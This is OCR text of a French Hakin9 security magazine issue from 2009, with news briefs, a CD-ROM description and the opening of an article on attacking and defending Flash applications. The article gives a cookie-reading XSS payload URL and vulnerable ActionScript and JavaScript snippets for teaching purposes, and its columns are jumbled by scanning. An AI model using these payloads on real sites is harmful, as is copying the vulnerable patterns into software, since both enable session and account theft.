You are on page 1of 84

ÉDITORIAL

FIREWALL & RÉSEAUX

C
hers lecteurs, nous avons le plaisir de vous présenter le 1er numéro de
cette nouvelle année 2009. À cette occasion, nous vous souhaitons à tous
et toutes une merveilleuse année 2009 pleine de réussite professionnelle,
ainsi que beaucoup de plaisir lors de la lecture de notre magazine. L'année dernière,
beaucoup d'entre vous nous suggéraient de nous intéresser au sujet de la sécurité
d'applications Web. Nous avons pris en compte vos souhaits, et revenons vers vous
cette fois, avec le dossier qui présente cette question sous différents aspects.

Nous vous montrerons que les applications Flash ne sont pas plus protégées
des XSS que des autres types de failles de sécurité et comment s'en protéger. Nous
présenterons aussi les phases de test et d'audit des applications Internet Riches,
ainsi que les techniques d'utilisation des outils Open Source afin d'automatiser la
désobfuscation des codes Javascript malicieux.

Et maintenant nous voudrions attirer votre attention au sujet principal du numéro.


Nous invitons ceux, qui s'intéressent à la sécurisation réseaux à la lecture des
articles d'Alexandre Chaigneau et Nicolas Renard. Le premier vous introduira à la
configuration et l'utilisation des firewalls Cisco Pix et ASA, l'autre vous expliquera le
fonctionnement et la mise en place du protocole 802.1X sur un commutateur Cisco.

Ce numéro contient aussi l'article qui vous expliquera comment analyser un


packer simple et comment programmer un un-packer et un autre présentant les
avantages et faiblesses du navigateur Google Chrome.

Comme d'habitude nous aborderons la question de la récupération et la


protection des données. Cette fois ci, le sujet est : Comment protéger l'accès à ses
données et quelles sont les méthodes de contournement. Pour conclure, nous vous
guiderons à la certification et norme ISO 27001.

Sans oublier le CD-ROM, sur lequel, vous trouverez quatre applications


commerciales, tutoriel vidéo et la nouvelle version de BackTrack.

Nous vous souhaitons une très bonne lecture,

1/2009 HAKIN9 3
SOMMAIRE
DOSSIER
34 Applications Internet Riches Failles
relatives a code source des
applications FLEX
12 Exploitation et défense des ADITYA K SOOD
Cet article traite des meilleurs techniques pour tester
applications Flash des Applications Internet Riches de type Flash, Flex et Air.
NEIL BERGMAN
La méthode dont on va parler vise a mettre en �uvre
Lors du développement d’applications web complexes,
une procédure identique à tous les environnements.
la plupart des développeurs ne connaissent pas tous les
Nous avons introduit un modele hiérarchique avec des
risques encourus auxquelles leurs applications doivent
exemples détaillés et une sémantique en relation avec
faire face.
les tests.

20 Google Chrome : Génese d’une


révolution?
DIDIER SICCHIA
Des le lendemain de lancement du Google Chrome,
FOCUS
des pirates faisaient connaître triomphalement quelques 44 ISO 27001
singularités propres au navigateur Chrome, aussi des KARIM HAMDAOUI
méthodes afin d’exploiter ces failles... Cette certification va tout a fait dans le sens de la volonté
des entreprises en apportant une fiabilité optimale aux
28 Obfuscation de code javascript clients, investisseurs, collaborateurs et partenaires. Si elle
(partie 1) ne révolutionne pas fondamentalement les processus
DAVID MACIEJAK internes et permis de les rationaliser significativement...
Tous les scripts obfusqués ne sont pas malicieux.

PRATIQUE
Ne sombrons pas dans la paranoia compulsive!
Néanmoins, il est vrai qu’il n’est pas courant d’obfusquer
un contenu Web, mais certaines compagnies ou
particuliers utilisent ces méthodes.
48 Débuter avec un pare feu Cisco
ALEXANDRE CHAIGNEAU
L’utilisation de plus en plus intensive d’Internet, la mise
à disposition de services ou bien encore la
communication entre sites géographiques sont
des besoins de plus en plus présents. Ces besoins
entrainent des risques importants pour la sécurité et la
confidentialité des informations. Les pare-feux sont donc
devenus des outils indispensables dont la maîtrise du
fonctionnement est un élément primordial.

4 HAKIN9 1/2009
SOMMAIRE

TECHNIQUE
58 Fonctionnement et implémentation
du protocole 802.1x
NICOLAS RENARD
Le protocole 802.1X et son protocole d’authentification EAP
sont devenues une nécessité pour tous qui souhaitent
72 Programmation d’un unpacker
protéger professionellemnt son réseau des l’accès
de trojan
BABOON
physique par les utilisateurs. Ce protocole est aussi tres
Une technique tres utilisées par les antivirus est la
souhaitable pour les réseaux Wifi afin de parfaitement
détection par signature. Pour lutter contre la détection par
sécuriser les connexions des utilisateurs. L’auteur présente
signature les trojans sont souvent packés a l’aide d’un
entre autres la configuration d’une borne cisco Aironet
packer. Un packer est un programme qui compresse ,
et d’un client Linux, ainsi que la configuration d’un client
chiffre, protège les exécutables.
802.1X pour une connexion au réseau Wifi sous MacOS/
Windows/Linux.

VARIA
6 En bref
Ignace Kangni Kueviakoé
Vous trouverez ici les nouvelles du monde de la sécurité
des systèmes informatiques.

10 Sur le CD-ROM
Hakin9
Nous vous présentons le contenu et le mode de
fonctionnement de la version récente de notre principale
distribution hakin9 live. Et les applications commerciales.

80 Éditorial

BACKUP
Louis Nyffeneger
Notre consultant de sécurité vous présente Botnet&Web.

64 Protéger l’accès à ses données 82 Dans le prochain numéro


Le dossier, les sujets qui paraîtront dans le numéro
VINCENT LE TOUX
2/2008(36)
Il est de notoriété publique qu’il est possible de récupérer
les données effacées et m�me de ressusciter certains
disques. Cette récupération avancée peut �tre réalisée
a des fins de preuve ou d’espionnage. Comment
les pirates se protègent et de quelles manieres les
enqu�teurs aboutissent à leur fin ?

1/2009 HAKIN9 5
EN BREF
dynamique face à une concurrence sécurité de la gestion des informations,
ATTAQUE MASSIVE : 208 000 de taille. Il est à noter que cet éditeur de celle des applications et des bases
SERVEURS COMPROMIS d'antivirus a reconsidéré son offre en la données, voire même dans la gestion
À TRAVERS LE MONDE réorganisant suivant la taille d’entreprise. Il des identités. Et les sociétés suivantes
La nouvelle a fait vent début octobre 2008. a aussi intégré de nouvelles fonctionnalités sont citées comme les prochaines cibles
Il s’agit d’un gang de pirates qui aurait dont le support de Linux. Il a lancé en mai : ArcSight, Application Security, Chosen
compromis deux cent huit mille serveurs. 2008 une offre dénommée Security as Security, Courion et LogRhythm.
Parmi eux, 80 000 sites web étaient déjà a Service et a accru sa présence sur le
infectés par la dernière version d'un kit de continent nord américain.
piratage que l'on prenait pour disparu. Ce partenariat profiterait certainement DÉTOURNEMENT DE WEBCAM
En faisant des études sur le kit de aussi à SkyRecon puisque cette nouvelle Au début du mois d’août 2008, la
piratage Neosploit, le chercheur Ian Amit fonctionnalité lui permettra de lutter contre firme Adobe a indiqué qu'une récente
a découvert un serveur FTP partagé la tendance de ses concurrents à offrir vulnérabilité peut être utilisée pour activer
par plusieurs groupes de pirates et qui l'antivirus qu'ils ont à leur gamme pour la webcam des ordinateurs à la visite
hébergeait 208 000 codes d'accès FTP gagner des appels d'offre plus généraux. d'une page web piégée. Ce qui permettrait
à des sites web légitimes à travers la d’enregistrer du son et des images.
planète. Parmi ces sites une grande partie Selon l'alerte de Adobe, cette attaque
de ces sites appartiennent à de grands MCAFEE S'OFFRE SECURE dite attaque par clickjacking consiste à
groupes, dont le service postal américain. COMPUTING POUR 465 MILLIONS provoquer le clic d'un internaute sur un lien,
Pour ce qui est de la France, les sites de DE DOLLARS sans son consentement et sans qu'il ne
TF1.fr, 3suisses.fr et bouyguestelecom.fr Mcafee, le concurrent direct de Symantec soit prévenu. Cela permettrait également
seraient parmi ceux compromis. dans le domaine des logiciels de de forcer le plugin Flash du navigateur
Pour ceux qui ne le savent pas, sécurité informatique a acquis Secure à activer la webcam et le microphone
Neosploit est un outil clé-en-main qu'un Computing spécialiste de la sécurisation de l'ordinateur afin d'espionner son
pirate peut installer sur un serveur web afin des applications d'entreprise pour un environnement immédiat.
que ce dernier infecte ses visiteurs lors montant de 465 millions de dollars. Secure Et jusqu’à la fin du mois septembre,
de leur passage sur le site. Les PC des Computing aurait 22 000 clients et 238 aucun correctif ne serait encore disponible
internautes ainsi compromises peuvent millions de chiffres d'affaires en 2007 et (même si Adobe plutôt annoncé pour
donc servir à un botnet dans le but travaillerait avec plus de 2000 partenaires la fin du mois d’octobre). Il a cependant
d'envoyer du spam ou mener des attaques à travers le monde. Secure computing présenté une méthode de désactivation de
contre d'autres serveurs. dominerait le marché mondial des la caméra et du microphone via l'interface
D’après le chercheur, les pirates applications de sécurisation Web avec une médias de Flash.
disposaient d'une application web afin de part de 11%. Il est possible pour les entreprises de
valider les mots de passe et d'installer Ce rachat vient à point nommé désactiver les interactions entre Flash et
automatiquement Neosploit sur les sites renforcer, pour Mcafee, l’offre de solutions les webcams et ou microphones à l'aide
compromis. L'accès à cette application professionnelles regroupées dans la d'un fichier de configuration. Cela est plus
était restreint et réservé à six ou sept division Network Security dont la direction détaillé dans l'alerte officielle d'Adobe au
adresses IP uniquement. est confiée au PDG de Secure Computing. http://www.adobe.com/support/security/
Jusqu’à ce jour personne ne sait À travers cette opération, McAfee va advisories/apsa08-08.html
comment les pirates ont pu se procurer enrichir sa gamme d'outils de gestion
de tous ces codes d'accès, mais il est fort des risques de sécurité (SRM) destinés
probable qu'ils proviennent de plusieurs aux professionnels : contrôle d'accès,
sources, qu’ils aient été achetées et firewall, sécurité web, protection des
agrégées sur une période de temps, ou données et des messageries, etc. Selon un
qu'ils aient eu recours à des campagnes responsable de Mcafee, le rapprochement
d’ameçonnage. avec Secure Computing va permettre au
groupe de générer près de 500 millions de
dollars de revenus sur la sa gamme SRM.
SKYRECON A PORTÉ SON CHOIX Il est à remarquer que Mcafee conduit
SUR PANDA SECURITY depuis printemps 2007 une active
Anciennement Panda Software, Panda politique de croissance externe comme
Security est la solution antivirale que en témoigne les rachats de Onigma, de
SkyRecon a choisi d’intégrer à son produit Reconnex et de SafeBoot.
StormShield. Un partenariat intéressant Des analystes en stratégie prédisent
est donc créé entre ces deux structures. que McAfee devrait encore étendre ses
Ce qui montre que Panda Security reste compétentes dans les domaines de la

6 HAKIN9 1/2009
EN BREF

propagation d'un code malveillant. Les


PIRATAGE DE CLAVIERS FILAIRES UN CHEVAL DE TROIE CACHÉ DANS clés Cruzer Enterprise intègrent déjà le
PAR DES CHERCHEURS SUISSES UN FAUX PATCH MICROSOFT chiffrement par l'algorithme AES 256-bit.
PIRATES Comme à son habitude, Microsoft a publié
Deux étudiants, chercheurs du laboratoire son bulletin mensuel mi octobre. Des
Sécurité et Cryptographie de l'université pirates ont profité de cette même occasion LE COÛT DU PASSEPORT
de Lausanne, en Suisse Romande, ont pour diffuser des emails estampillés ÉLECTRONIQUE MONTE EN
fait une découverte plutôt surprenante Microsoft et censés contenir la dernière FRANCE
fin octobre 2008. En fait, en écoutant les mise à jour de sécurité de l'éditeur. La On estime que le passeport coûtera 29
ondes électromagnétiques émises par pièce jointe se trouve en vérité être un euros de plus en 2009. Son prix passe
des claviers, ces deux chercheurs ont cheval de Troie dont l'exécution provoquera ainsi de 60 euros à 89 euros, selon un
réussi à intercepter le contenu intégral des la contamination du poste de l'internaute. amendement adopté par les députés
frappes saisies à une distance de vingt Les campagnes virales de cette nature français, vendredi 24 octobre, dans le
mètres. Ils ont mis sur écoute les ondes lors du Patch Tesday de Microsoft sont cadre de l'examen du projet de budget
électromagnétiques émises par onze récurrentes et Microsoft rappelle aux 2009.
claviers filaires différents, reliés en USB utilisateurs qu'ils doivent recourir au service Pour ce qui est du passage au
ou via un port PS/2 à des ordinateurs, et de mise à jour de Windows ou se rendre passeport biométrique, cela reviendrait
les résultats de leurs travaux sont assez sur son site pour télécharger les correctifs. encore plus cher. Le passeport adulte
époustouflants. passera de 60 euros à 89 euros, celui
Ce procédé leur a permis, de savoir pour les 15-18 ans de 30 euros à 45 euros
avec exactitude et précision ce qui était ANTIVIRUS SUR SES CLÉS USB DE et les moins de 15 ans, qui jusqu'ici ne
tapé sur ces claviers, et ce à une distance SANDISK payaient rien, s'acquitteront de 20 euros.
de vingt mètres. C’est un peu comme pour C’est fait. SanDisk a ajouté des capacités
un logiciel keylogger. d'antivirus à ses modèles de clés Cruzer
Étant donné que ces expériences Enterprise. CYBERSÉCURITÉ EN AFRIQUE
ont été réalisées à l'aide d'une petite Cette astuce a été mis au point dans Du 06 au 17 octobre 2008 s’est tenu
antenne qui captait l'intégralité du spectre le but de convaincre les entreprises à Tunis, une formation sur la sécurité
électromagnétique émis par les claviers, de la sécurité des supports USB. Ainsi, informatique. Il s’agit d’une initiative
cette méthode pourrait être appliquée tout document transféré sur la clé USB de la CNUCED qui dans le cadre des
à plusieurs dizaines de mètres de distance, sera automatiquement analysé par le activités de ses centres d’excellence a
avec une antenne plus importante. moteur antivirus VirusScan de McAfee. parrainé l’ANSI (Agence Nationale de la
Et cette technique pourrait aussi être Un fichier détecté comme infecté ne Sécurité Informatique) tunisienne pour
utilisée par des vrais pirates, pour par pourra par conséquent pas être copié l’organisation de cette formation. Quinze
exemple récupérer, à distance, les codes sur un ordinateur. Ce qui évitera ainsi la ingénieurs et spécialistes du continent
tapés sur un distributeur automatique de
billets.
De quoi éviter fraudeurs de carte
de crédit de passer par des techniques
compliquées et parfois très coûteuses
pour récupérer des informations
bancaires...
Et jusqu’à la fin octobre, aucun
moyen n’a été trouvé pour empêcher la
transmission de ces ondes émises par les
claviers filaires.

1/2009 HAKIN9 7
EN BREF
africain ont pris part à ce séminaire de informations confidentielles telles que leur compte aussi démontrer que cet outil
formation théorique et pratique de 60 numéro de carte bancaire ou leur code peut servir à pirater une session en ligne
heures. Elle a couvert tous les modules PIN (Personal Identification Number). avec une banque, installer un cheval de
du CISSP. À ces modules ont été ajoutés Ce cheval de Troie est de plus en plus Troie sur un iPhone jailbreaké ou servir
des présentations sur l’expérience à la portée d’un nombre croissant de à installer des programmes Java lors
tunisienne en la matière. Et la plupart des fraudeurs. d'une session en ligne.
pays africains se préparent désormais Limbo s'intègre dans un navigateur Ce chercheur en sécurité veut
à combattre la cybercriminalité. Comme web par une technique d'injection html, un prouver aux professionnels que
quoi le hacking n’épargne aucun responsable des nouvelles technologies sécuriser uniquement les formulaires
continent. chez RSA, éditeur spécialisé dans la de connexion n'est pas suffisant, pour
sécurité, L'intégration avec le navigateur prémunir un utilisateur du risque de
est telle que le trojan opère même quand piratage lors de ses connexions dans un
L’UAC DE MICROSOFT INDISPOSE l'utilisateur se trouve sur le site légitime de endroit public.
Le contrôle des comptes utilisateurs ou la banque et modifie l'apparence du site.
UAC (User Account Control) mis en place Rien ne semble suspect, si ce n'est que
dans Windows Vista est sujet à beaucoup l'on se voit demander des informations EGILIA LEARNING OFFRE UN ULTRA
de critiques. Il est peut être vrai que que l'on ne vous avait jamais demandées PORTABLE EEE PC
l’objectif de MS était de faire de Windows auparavant . Le prix de vente de Limbo EGILIA Learning offre un ultra portable
Seven un produit recueillant davantage est en baisse constante et remarquable Eee PC à tous les participants de
d'impressions positives. Mais, Microsoft depuis deux ans. ses nouvelles formations Réseau et
lui-même reconnaît les errances liées Management ! Qui dit nouveaux cursus
à l'UAC et prévoit de modifier cette de Formation dit nouveaux avantages :
fonctionnalité de son OS. D'ailleurs sur SÉCURISER LES FORMULAIRES Parfaitement adapté à cette nouvelle
un blog, Microsoft décrit le contrôle des DE CONNEXION DEVIENT gamme de sessions de formation à la
comptes utilisateurs comme étant l'un des INSUFFISANT fois courtes et opérationnelles, l’ultra
outils les plus controversés de Vista. Il est de notoriété publique désormais portable Eee PC offert par EGILIA à tous
Et il promet que l'UAC de Seven sera que les des protocoles d'encryption WiFi les participants inscrits se révèle être le
moins encombrant et se contentera de utilisés pour les connexions dans des compagnon pédagogique léger (900
faire cela pour quoi il est prévu c’est-à-dire lieux publics sont vulnérables. grammes !), peu encombrant et idéal !
améliorer la sécurité du système et offrir Cependant, une autre menace Complet (1 Go de mémoire RAM,
aux utilisateurs principaux d'une machine se pointe. Un expert en sécurité, Jay Disque dur de 12 Go, lecteur multicartes,
un meilleur contrôle des applications Beale, a développé un outil en Python Carte Wifi 802.11g, Webcam 1.3 Mpx, 3
et des paramètres. Il s'engage aussi dénommé The Middler, qui est en mesure ports USB, port Ethernet, Ecran 9
à réduire le nombre de fenêtres d'intercepter le contenu d'une session pouces, Processeur Intel Celeron -M ULV
apparaîssant à l'écran pour demander avec des applications web telles que 900Mhz et Windows XP installé),
confirmation à l'utilisateur qu'il possède Gmail ou Facebook par exemple. Cet outil cet outil fonctionnel permet d’accéder,
bien les droits pour effectuer telle ou telle serait capable de modifier les paramètres à tout moment, à l’ensemble du matériel
tâche. De même, ces fenêtres seront plus de la session et d'en prendre le contrôle pédagogique de la formation suivie, de
informatives. à distance. Pour GMail par exemple : consulter à volonté les supports de cours
on pourrait lire ou écrire des courriels, et de refaire les travaux pratiques liés au
effacer ou modifier le carnet d'adresses cursus.
LE CHEVAL DE TROIE LIMBO ou encore changer le mot de passe de Rappelons que la totalité des
MOINS CHER !!! l'utilisateur légitime. supports pédagogiques sont réalisés
Savez-vous que Limbo est maintenant Jay Beale aurait exploité une faille en interne par EGILIA Learning, en
commercialisé sur le marché noir ? Son apparemment toute simple. Il attend que totale indépendance vis-à-vis des
prix est en baisse depuis plus d’un an. Il les utilisateurs soient connectés avec leur constructeurs.
est vendu à 350 $ actuellement, contre login et identifiant pour alors prendre le Pour connaître la liste des nouvelles
1000 $ il y a un an, et 5000 $, il y a deux contrôle de la page. Il s'est aperçu que formations EGILIA qui donnent droit à
ans. si les formulaires de connexion utilisaient cette offre, consultez : http://www.egilia-
Limbo est un cheval de Troie qui le protocole sécurisé HTTPS, une fois learning.com/fr/
permet de modifier la mise en page connecté à ce type d'application Web, on Pour plus de détails sur les
de sites bancaires afin de récupérer passe alors en HTTP simple, qui est plus caractéristiques techniques Eee PC,
les informations sensibles des clients. facile à pirater. Au cours de la conférence consultez :
Il permet d'insérer des champs de sur la sécurité SEC TOR qui s’est déroulé http://www.egilia-learning.com/fr/
saisie sur des sites de banques en les 7 et 8 octobre 2008 à Toronto The dossiers/offres_speciales/
ligne, et d'inciter les clients à entrer des Middler a été présenté. Son auteur

8 HAKIN9 1/2009
www.t3eu.com

EN EUROPE UN ORDINATEUR EST VOLÉ


TOUTES LES QUATRE MINUTES !

Le vol de votre équipement informatique peut avoir des Le T3 Basic c'est :


conséquences néfastes. Blocage/déblocage de votre ordinateur en insérant/
retirant votre clé T3.
Le vol de l'équipement.
Cryptage de vos informations confidentielles, création
La perte et le vol d'informations pouvant être
de dossiers encryptés sur votre disque dur.
exposés à toutes les personnes étrangères.
La perte de production (temps de rachat de Protocole d'encodage PKI pour authentifier vos
l'équipement et de l'installation des logiciels). communications sur le web. Il vous garantit
l'authentification de l’expéditeur et du destinataire
Le T3 vous garantit une sécurité complète, simple de tous les e-mails grâce au certificat digital, et vous
publicité

et facile d'utilisation. Son utilisateur aura l'esprit assure l'intégrité de l'information.


tranquille, l'information présente dans le PC est Mémoire USB pour stocker vos informations mobiles de
entièrement sécurisée. En toute sécurité vous pouvez manière sûre et cryptée.
transporter, stocker ou communiquer des informations
sensibles ou confidentielles. Le désir de partager ou de Contrôle parental vous permet de bloquer des sites non
gérer les ressources de vos PC et ordinateurs portables. désirés, de créer votre propre liste de sites autorisés.
Le T3 permet de ne plus être préoccupé par les accès
non autorisés à votre information, par les informations Audit permanent pour vérifier les accès à votre
stockées sur votre clé USB ou tout simplement par le vol ordinateur et de contrôler les accès non autorisés.
de vos ordinateurs portables. Il est possible de visualiser la date et l'heure des accès,
cette console autorise la mise en place d'un rapport
d'utilisation complet

Le coffre-fort virtuel du T3 Cast 256 Bit AES

C'est un dossier sécurisé qui facilite l'accès à vos


documents cryptés seulement lorsque la clé est insérée,
il permet aussi la création de plusieurs coffre-fort
virtuel.

La T3 travel smart comporte en plus des fonctions


de la version basic une couverture contre le vol de
votre pc et pour une meilleure protection, il est possible
de renforcer la sécurité avec l'Anti Virus escan.

La Clé de sécurité T3 a été certifiée Windows Vista,


disponible sur les cinq continents. Il a obtenu le
Award Winner Best In Security

Pour toute information complémentaire Web :


http://www.t3eu.com

HAKIN9 9
HAKIN9.LIVE
CD-ROM – HAKIN9.LIVE
Le magazine hakin9 est toujours accompagné d'un CD-ROM. Vous y trouverez
comme d'habitude des versions complètes d'applications commerciales
particulièrement utiles.

C
ette édition du magazine hakin9 bruts. L'intégration du cadre d'application et fichiers joints, peu importe où ils se
est proposée avec hakin9.live Metasploit2 et Metasploit3 est également trouvent sur le disque dur de leur système.
(accompagnée du CD BackTrack3). disponible ainsi qu'un alignement permettant L’application permet de retracer, en une
Cette distribution est riche en applications d'ouvrir des standards et des cadres fraction de seconde, des fichiers de type
et autres plugins. BackTrack3 est la d'applications tels que ISSAF et OSSTMM. Word,
distribution Linux live la plus pertinente dans Vous trouverez les programmes suivants Excel et Powerpoint de Microsoft, PDF
le registre de la sécurité informatique. Sans dans le dossier Appliations du CD d’hakin9. d’Adobe et multimédia, notamment. Version
aucune installation préalable, la plate-forme gratuite
d'analyse peut être directement démarrée http://www.copernic.com/fr
à partir du CD-Rom et son contenu CLEANDRIVER DE GSA ONLINE
entièrement accessible en quelques minutes Cleandriver efface toutes vos traces sur
seulement. Outre les mises à jour et d'autres Internet (les sites web que vous avez ABCWEBWIZARD WEB DESIGN
optimisations, cette version de BackTrack3 consulté), les fichiers récemment ouverts Cette application vous permet de
hakin9.live contient également des éditions (les fichiers vidéo visionnés) et même les concevoir facilement des sites web
spéciales d'applications commerciales parmi logs qui indiquent les programmes exécutés entièrement personnalisés, ceci grâce
les plus intéressantes du moment. Elles sont (par exemple, un jeu joué au bureau). Ce à une interface de type pointez-cliquez.
préparées exclusivement à l'attention toute logiciel antispyware primé et reconnu, efface Ce logiciel crée des menus
particulière de nos lecteurs. Pour pouvoir tout l'historique de vos activités sur PC ainsi graphiques et des menus déroulants (en
utiliser BackTrack3 hakin9.live, il vous suffit de que les traces qui pourraient permettre fonction de la structure choisie). Outre cet
démarrer votre ordinateur à partir du CD. Pour l'usurpation de votre identité. aspect, vous pouvez automatiquement
pouvoir utiliser les applications commerciales Prix : $29 (environ 23€) changer le design et l'interface du site
fournies, inutile de démarrer votre ordinateur http://www.gsa-online.de/eng/index.html uniquement avec votre souris. Vous
à partir du CD : vous les trouverez dans le disposez également de jeux java, de
dossier baptisé Applications. Chaque paquet, fonctionnalités d'optimisation pour les
configuration de noyau et script contenu dans COPERNIC AGENT BASIC moteurs de recherche (afin d'obtenir un
BackTrack3 est optimisé de manière à être Copernic Agent Basic interroge les meilleurs bon référencement) et bien plus encore !
utilisé par les experts en audits de sécurité et moteurs de recherche sur le Web, afin de Prix : 99,95$
de tests d'intrusion. Les patchs de correction repérer des résultats pertinents et d'une http://abcwebwizard.com/
et autres scripts automatiques ont été qualité supérieure. Son interface conviviale
ajoutés, appliqués ou développés de manière vous permet de maîtriser rapidement les Tutoriel Vidéo
à proposer un environnement agréable, nombreuses améliorations apportées, de L'Art du Black Packaging par Wayne
intuitif et prêt à l'emploi. Les quelques sorte que vos recherches sur Internet seront Ronaldson - Avec cette méthode de test
nouvelles fonctionnalités de BackTrack3 sont plus rapides et plus faciles que jamais. d'intrusion, nous nous sommes connecté
présentées avec BackTrack3 hakin9.live. http://www.copernic.com/fr sur le réseau sans-fil du client. Nous avons
La fonctionnalité la plus importante est Prix : 29,95€ vérifié immédiatement s'il y avait des
incontestablement l'utilisation du noyau 2.6.20 dossiers partagés. D'ailleurs, pour ce test
mis à jour à l'aide de plusieurs programmes d'intrusion la chance était de notre côté.
de correction. Un support pour la carte sans COPERNIC DESKTOP SEARCH Voulez-vous en savoir plus ?
fil Broadcom a également été rajouté et des La version Home de Copernic Desktop
pilotes WiFi ont été élaborés de manière Search permet aux particuliers de trouver
à supporter les injections de paquets instantanément des fichiers, courriels Consultez vite le tutoriel sur notre CD !

10 HAKIN9 1/2009
HAKIN9.LIVE

S’il vous est impossible de lire le CD. et que ce dernier n’est pas
endommagé physiquement, essayez de lire dans au moins 2
lecteurs différents.

En cas de problème avec votre CD, envoyez-nous un message


à l’adresse suivante : cd@hakin9.org

6/2008 HAKIN9 11
DOSSIER
NEIL BERGMAN

Exploitation
et défense des applications
Flash
Degré de difficulté La technologie Flash d'Adobe est devenu la technologie la plus
populaire non seulement afin de créer des animations et des
pubs, mais aussi pour développer de complexes applications
Internet. Les applications Flash (fichiers portant l'extention SWF)
sont distribuées par les protocoles web et ont la possibilité de lire
des fichiers locaux ou distants, de créer des connexions réseaux
et d'intéragir avec d'autres application SWF.

L
es développeurs d'applications web Imaginons une situation frauduleuse SWF
devraient être familiers avec une afin de clarifier le principe. Une agence de pub
vulnérabilité connu sous le nom de malveillante pourrait créer une application SWF
Cross Site Scripting (XSS). Cette vulnérabilité malicieuse dans le but de pirater les comptes
apparaît généralement lorsque les applications emails et envoyer du spam. Par défaut, le client
web acceptent du code malicieux de source Flash dispose d'un accès complet au DOM sur le
inconnue et l'affichent sans vérifier le contenu domaine.
des données. Les applications Flash ne sont pas La méthode de base des attaques XSS dans
plus protégées des XSS que des autres types de les applications web est décrite dans la Figure 1.
failles de sécurité. Cependant, les administrateurs Première étape, un attaquant doit trouver
ou les développeurs d'applications Flash peuvent le moyen d'injecter du code dans l'application
prendre des précautions afin d'utiliser de façon dans le but de l'afficher à un autre utilisateur.
adéquate avec ces nouvelles technologies. Adobe fournit une variété de composants pour
les programmeurs afin que ceux-ci puissent les
Les vulnérabilités XSS réutiliser un peu comme les objets formulaires en
Les attaques par Cross-site scripting ont pour but HTML, comme des combo boxes, des boutons
l'injection du code malicieux, comme JavaScript et des champs texte.
ou VBScript dans une application web. L'objectif De plus, il existe des possibilités de passer des
est généralement d'obliger un utilisateur à suivre paramètres d'entrées externe à l'application SWF.
CET ARTICLE un lien ou à visiter un site web malveillant. L'attribut FlashVar peut être ajouté dans un
EXPLIQUE... L'application web affichera et exécutera le document HTML par les balises <object>
Des vecteurs d'attaques code injecté dans le contexte de la session et <embed> :
spécifiques pour Flash.
web de la victime. Ce genre d'attaque mène
Des astuces d'audit de la
sécurité des Flash.
généralement à la compromission du compte <param name=”testParam”
de l'utilisateur et ne permet pas normalement value=”testValue”>
Des techniques de
développement/configuration l'exécution de commandes à moins de l'exploiter
sûres.
conjointement avec une faille dans le navigateur. Des données peuvent aussi être passées
CE QU'IL FAUT Depuis que les applications SWF sont introduites directement par le biais de la barre d'adresse :
SAVOIR... dans les sites web et ont un accès complet au
Les connaissances de bases du DOM (Document Object Model) HTML, elles http://www.test.com/
langage ActionScript. peuvent être utilisées afin de provoquer une movie.swf?testParam=
Les bases des attaques XSS. attaque XSS. testValue

12 HAKIN9 1/2009
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH

de session. Le DOM est un modèle d'objet


���������������� standart qui représente HTML comme
�����������������������������������
une structure en forme d'arbre. Il peut
être utilisé par le code Javascript afin de
chercher ou modifier une page HTML
dynamiquement.
Considérez le code Javascript ci-
���������������������������������������������� dessous, qui change l'attribut source de
�������������������������
la première image de la page HTML. Le
fait de modifier l'attribut source va changer
��� l'image qui est affiché dans la page :

<script type=”text/javascript”>
������������������������ document.images[0].src =
������������������������������������
“http://example.com/
newImage.jpg”;
</script>

���������������� Une méthode courante est de modifier


le DOM HTML afin d'insérer une nouvelle
Figure 1. Méthode d'attaque XSS utilisée dans les applications Flash image avec un attribut source pointant
vers un fichier sur un serveur controllé
Il est aussi possible de charger des Considérez maintemant la requête par l'attaquant avec comme paramètre le
données externes en utilisant la classe suivante qu'un attaquant pourrait faire : contenu du cookie.
LoadVars Ce faisant, l'attaquant peut monitorer
http://www.test.com/movie.swf? ses logs afin d'y trouver la valeur des
testVars = new LoadVars(); urlParam=javascript:alert( cookies.
testVars.load(“http://www.test.com/ document.cookie); Avec un identifiant de session en
page.php”) main, un attaquant dispose du contrôle
Après que la requête soit exécutée, une complet du compte de l'utilisateur jusqu'à
Dans ActionScript 2, les FlashVars boîte de dialogue apparaîtra montrant le l'expiration de la session.
sont automatiquement importées dans contenu du cookie du site. Les cookies Une autre fonction ActionScript qui
l'espace des variables de l'application sont souvent utilisés pour stocker des peut être utilisé dans le cadre d'une
Flash tandis que dans ActionScript informations sensibles, comme l'identifiant attaque XSS est la fonction fscommand.
3 il est nécessaire d'ajouter du code
pour charger les paramètres externes.
Listing 1. Réception du code Fscommand
Une faute courante est d'accepter les
données en provenance des FlashVars function fscommand_DoFSCommand(command, args) {
var fscommandObj = isInternetExplorer ? document.all.fscommand :
ou de l'URL et ainsi passer ces données
document.fscommand;
dans une fonction qui communique if (command == "changeText") {
directement avec le navigateur sans document.getElementById('text').innerHTML = args;
auparavant les avoir vérifier. La }
}
fonction getURL d'ActionScript 2 et la
fonction navigateToURL d'ActionScript Listing 2. Code permettant de vérifier un mot de passe
3 fournissent la possibilité de charger
var secretUsername = "john";
une URL spécifique dans la fenêtre
var secretPassword = "ripper";
du navigateur. Considérez le code outputBox.htmlText = "Please enter a password.";
ActionScript suivant : function checkPassword() {
if(usernameBox.text == secretUsername &&
passwordBox.text == secretPassword) {
getURL(_level0.urlParam); outputBox.htmlText = "You must be a valid user.";
} else {
Le code appelle directement la fonction outputBox.htmlText = usernameBox.text + " isn't valid.";
}
getURL avec pour argument une source
} function setPassword(newPassword:String) {
de donnée externe. Ce qui aura pour effet secretPassword = newPassword;
de rediriger l'utilisateur vers l'URL injectée }
dans la barre d'adresse.

1/2009 HAKIN9 13
DOSSIER
Cette fonction permet à l'application fournis et ensuite modifie l'élement HTML dans une animation Flash en utilisant un
SWF de communiquer avec le lecteur identifié par text . Les développeurs composant Text Field d'ActionScript 2.0 ou
flash ou le programme qui héberge le devraient garder à l'esprit quelles sont un composant TextArea .
lecteur flash. Généralement, le lecteur les entrées accordées à l'utilisateur Ces deux composants peuvent être
flash réside dans un navigateur web, afin d'utiliser sagement la fonction abusés si l'entrée utilisée pour construire
mais il peut aussi résider dans d'autres fscommand et ensuite comment les la page HTML n'est pas suffisament
programmes qui hébergent des contrôles arguments sont utilisés à l'intèrieur du contrôlée. Une attention toute particulière
ActiveX. document HTML. doit être faite afin de vérifier les balises
Fscommand est constitué de deux L'exemple de code précédent permet d'images et d'ancres. La balise <img>
parties, une commande et un paramètre. à un attaquant d'injecter de l'HTML ou en Flash permet à un développeur
Considérez la commande fscommand du code script directement dans le DOM d'embarquer non seulement des images,
